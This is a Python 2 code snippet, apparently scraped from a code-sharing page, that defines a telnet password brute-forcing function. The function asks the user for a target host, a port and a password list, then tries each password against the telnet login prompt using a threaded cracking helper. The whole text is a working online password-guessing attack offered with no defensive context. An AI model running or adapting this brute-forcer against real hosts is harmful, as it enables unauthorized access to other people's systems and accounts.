def telnetbf():
host = raw_input('host or ip to connect to> ')
port = input('port to connect to> ')
pwlist = raw_input('password list> ').strip()
prompt = raw_input('the password prompt (the cue to send the password, usually "Password: ")> ')
incorrect = raw_input('first thing the server says if password is incorrect (cue to disconnect and try another)> ')
def try_pass(pw):
try:
tel = telnetlib.Telnet()
tel.open(host,port)
tel.read_until(prompt,5)
tel.write(pw)
tel.write('\n')
ret = tel.read_until(incorrect,3)
tel.close()
if incorrect in ret:
return False
return True
except (socket.error, socket.herror, socket.gaierror, socket.timeout, telnetlib.EOFError):
return False
zc = zippycrack(try_pass,pwlist,num_threads=4,cont=False)
zc.run()
评论列表
文章目录